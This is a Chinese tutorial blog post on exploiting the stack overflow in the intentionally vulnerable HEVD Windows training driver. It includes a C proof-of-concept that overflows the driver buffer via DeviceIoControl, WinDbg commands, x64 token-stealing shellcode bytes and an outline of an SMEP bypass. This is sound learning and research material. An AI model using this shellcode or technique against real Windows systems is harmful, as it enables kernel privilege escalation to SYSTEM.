前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >windows kernel之HEVD栈溢出

windows kernel之HEVD栈溢出

作者头像
鸿鹄实验室
发布2021-12-01 21:02:36
7260
发布2021-12-01 21:02:36
举报
文章被收录于专栏:鸿鹄实验室

前言:本文只为记录学习过程,本人纯新手可能有些错误在里面欢迎留言指出莫误人子弟。

首先使用osrload安装HEVD驱动,win10系统需要禁用驱动签名检测,然后成功安装后使用windbg下面的命令可以看到驱动已成功安装

代码语言:javascript
复制
lm m H*

下面开始分析

Driver Analysis

首先把驱动文件拖入IDA,查看导入表,因为自带了PDB文件,所以可以清楚的看到每个函数的名字。

可以看到IoCreateDevice 函数,为了使客户端获得驱动程序对象的句柄,驱动程序需要至少公开一个设备对象——该任务正是通过IoCreateDevice函数来实现的,其函数原型如下:

代码语言:javascript
复制
NTSTATUS IoCreateDevice(
  [in]           PDRIVER_OBJECT  DriverObject,
  [in]           ULONG           DeviceExtensionSize,
  [in, optional] PUNICODE_STRING DeviceName,
  [in]           DEVICE_TYPE     DeviceType,
  [in]           ULONG           DeviceCharacteristics,
  [in]           BOOLEAN         Exclusive,
  [out]          PDEVICE_OBJECT  *DeviceObject
);

双击该函数,并查看其引用

可以看到其中只有一个地方引用了该函数,我们跳转到该引用,然后寻找上下文中对于驱动所暴露名称的引用,这也就是所谓的符号链接即Symbolic links,符号链接允许客户端创建一个设备对象的句柄,它允许客户端与设备驱动进行交互,我们可以很轻松的找到其调用为:

代码语言:javascript
复制
\\DosDevices\\HackSysExtremeVulnerableD

其源码体现如下:

在识别了其名称之后我们还需要去查看其中所有的IO控制代码,所有的IO控制代码都由设备驱动定义,并执行一组特定的操作,识别方法可以在IDA的导入中查看IofCompleteRequest函数,或者是IoCompleteRequest,因为IoCompleteRequest包含了IofCompleteRequest。其函数原型如下:

代码语言:javascript
复制
void IofCompleteRequest(
  PIRP  Irp,
  CCHAR PriorityBoost
);

其函数主要作用为指示调用方一个IRP请求已经完成。为了确保向驱动程序发出的IRP请求成功完成,需要向驱动程序传递一个有效的IO代码——这使得IofCompleteRequest成为一个识别驱动程序接受的IO代码的有效途径。

查看其调用

这里我们发现IrpDeviceIoCtlHandler函数,因为其相当于是一个客户端IRP请求的管理器。

如有需要的话也可以查看其分支来帮助我们分析

其源码部分如下:

我们知道其大体流程之后便可以开始我们的审计工作了。因为其本身就是一个漏洞驱动而且我们要利用的是栈溢出,我们可以直接在函数处搜索Stack(真实环境中是很少的),查看有哪些函数进行了调用。

可以直接搜索到函数名TriggerStackOverFlow,中文意译也就是触发栈溢出。或者你可以对刚才的的IrpDeviceIoCtlHandler进行分支查看:

进入该函数

我们可以看到其缓冲区大小为200h即2048(按H键转换即可),用户提交的数据被传递进去且在伪代码和代码处也可以看到其并没有进行内存大小验证:

而栈溢出的产生原因就是比如我们定义了一个8个字节的缓冲区来接收数据,但用户可以随意输入数据且不被校验,当用户数据大于8字节时就有可能造成缓冲区溢出。

而目前我们通过静态审计得到的信息如下:

代码语言:javascript
复制
- 驱动符号链接为:"\\Device\\HackSysExtremeVulnerableDriver"

- IRP请求的IO代码为:0x222003

- 缓冲区大小需要大于2048才可以利用(2.0)

Exploitation

第一步我们需要一个打开的驱动对象的句柄来跟驱动进行交互,在windows下我们可以使用CreateFileA() API函数来完成。其函数原型如下:

代码语言:javascript
复制
HANDLE CreateFileA(
  [in]           LPCSTR                lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile
);

其lpFileName即是我们传递驱动符号链接的地方,然后我们便可以使用之前说的DeviceIoControl()API函数与驱动进行交互,其函数原型如下:

代码语言:javascript
复制
BOOL DeviceIoControl(
  [in]                HANDLE       hDevice,
  [in]                DWORD        dwIoControlCode,
  [in, optional]      LPVOID       lpInBuffer,
  [in]                DWORD        nInBufferSize,
  [out, optional]     LPVOID       lpOutBuffer,
  [in]                DWORD        nOutBufferSize,
  [out, optional]     LPDWORD      lpBytesReturned,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);

下面来编写代码,代码为3.0的缓冲区大小变为818:

代码语言:javascript
复制
#include<stdio.h>
#include<Windows.h>

#define IO_CODE 0x222003


int main() {

  printf("[+] Call CreateFile to obtain a handle to the driver...\n");
  HANDLE hDevice = CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver",0xC0000000,0,NULL,0x3,0,NULL
  );
  if (hDevice==INVALID_HANDLE_VALUE) {
    printf("[-] Error - Unable to obtain a handle to the driver...\n");
    exit(1);
  }
  printf("[+] Successful to obtain a handle to the driver...\n");

  DWORD byteRtn;
  char exp1[0x818];

  memset(exp1,'A',sizeof(exp1));
  printf("[+] Starting interacting with the driver...\n");
  DeviceIoControl(hDevice,IO_CODE,exp1,sizeof(exp1),NULL,0,&byteRtn,NULL);
  CloseHandle(hDevice);

  return 0;
}

然后配置一下双机调试环境,先把VirtualKD的Target放到目标机器并启动:

然后按照其提示重启系统即可。VMware15以上的版本记得使用VirtualKD-Redux的vmxpatch64进行patch之后在操作。

现在我们已经连上了目标主机可以进行双机调试了,查看我们的驱动:

代码语言:javascript
复制
lmDvmHEVD

因为我们已经知道了漏洞函数可以直接使用bp命令进行下断点,也可以使用下面的命令进行函数搜索:

代码语言:javascript
复制
 x /D HEVD!*

加断点之后执行我们的exp,执行之前enable一下输出:

代码语言:javascript
复制
ed nt!kd_ihvdriver_mask 8
ed nt!Kd_Default_Mask 8

当我们把数值改成大于818时则会发生错误:

除了此类方法也可以pattern_offset和pattern_create 来配合使用:

接下来便是shellcode的编写,windows下的提权一般使用Token窃取技术。在此之前需要了解一些常见的数据结构。

处理器信息存储在内核控制区域的KPCR结构体中,在x64中使用GS:[0]进行索引,可以使用下面的命令查看其结构:

代码语言:javascript
复制
dt nt!_KPCR

我们感兴趣的是Prcb成员,位于0X180,其指向_KPRCB结构。而其内部保存着资源管理所需的数据结构:

我们关心的是位于0x008的CurrentThread结构,因为其保存着线程信息。

我们关心的是0x098处的ApcState 其用于观察与其有关的进程其与我们的提权技术有关

而0x020处的Process则是我们关心的地方:

里面的Token、UniqueProcessId、ActiveProcessLinks是我们所需要的。

然后就是使用汇编实现上述过程。现成代码如下根据自己的结构体替换一下具体值即可(

https://github.com/Cn33liz/HSEVD-StackOverflowX64/blob/master/HS-StackOverflowX64/HS-StackOverflowX64.c):

代码语言:javascript
复制
    "\x65\x48\x8B\x14\x25\x88\x01\x00\x00"  // mov rdx, [gs:188h]    ; Get _ETHREAD pointer from KPCR
    "\x4C\x8B\x82\xB8\x00\x00\x00"    // mov r8, [rdx + b8h]    ; _EPROCESS (kd> u PsGetCurrentProcess)
    "\x4D\x8B\x88\xe8\x02\x00\x00"    // mov r9, [r8 + 2e8h]    ; ActiveProcessLinks list head
    "\x49\x8B\x09"        // mov rcx, [r9]    ; Follow link to first process in list
    //find_system_proc:
    "\x48\x8B\x51\xF8"      // mov rdx, [rcx - 8]    ; Offset from ActiveProcessLinks to UniqueProcessId
    "\x48\x83\xFA\x04"      // cmp rdx, 4      ; Process with ID 4 is System process
    "\x74\x05"        // jz found_system    ; Found SYSTEM token
    "\x48\x8B\x09"        // mov rcx, [rcx]    ; Follow _LIST_ENTRY Flink pointer
    "\xEB\xF1"        // jmp find_system_proc    ; Loop
    //found_system:
    "\x48\x8B\x41\x70"      // mov rax, [rcx + 70h]    ; Offset from ActiveProcessLinks to Token
    "\x24\xF0"        // and al, 0f0h      ; Clear low 4 bits of _EX_FAST_REF structure
    "\x49\x89\x80\x58\x03\x00\x00"    // mov [r8 + 358h], rax    ; Copy SYSTEM token to current process's token
    //recover:
    "\x48\x83\xc4\x18"      // add rsp, 18h      ; Set Stack Pointer to SMEP enable ROP chain
    "\x48\x31\xF6"        // xor rsi, rsi      ; Zeroing out rsi register to avoid Crash
    "\x48\x31\xFF"        // xor rdi, rdi      ; Zeroing out rdi register to avoid Crash
    "\x48\x31\xC0"        // xor rax, rax      ; NTSTATUS Status = STATUS_SUCCESS
    "\xc3"          // ret        ; Enable SMEP and Return to IrpDeviceIoCtlHandler+0xe2

然后就是绕过SEMP的问题了,SMEP(Supervisor Mode Execution Prevention)由Intel lvy Bridge引入,从Windows 8开始启用该特性,其作用在于禁止RING-0执行用户空间代码,而SMAP(Supervisor Mode Access Prevention)由Intel Broadwell引入,相较SMEP增加读与写保护,存在于rc4寄存器中:

然后就是绕过这东西了,首先查看起始地址:

代码语言:javascript
复制
lm m nt

然后执行:

代码语言:javascript
复制
uf HvlEndSystemInterrupt
代码语言:javascript
复制
uf nt!KiEnableXSave

然后用得到的值减去起始地址得到我们所需的值,原理参考:https://h0mbre.github.io/HEVD_Stackoverflow_SMEP_Bypass_64bit/#

最后效果:

请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-11-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档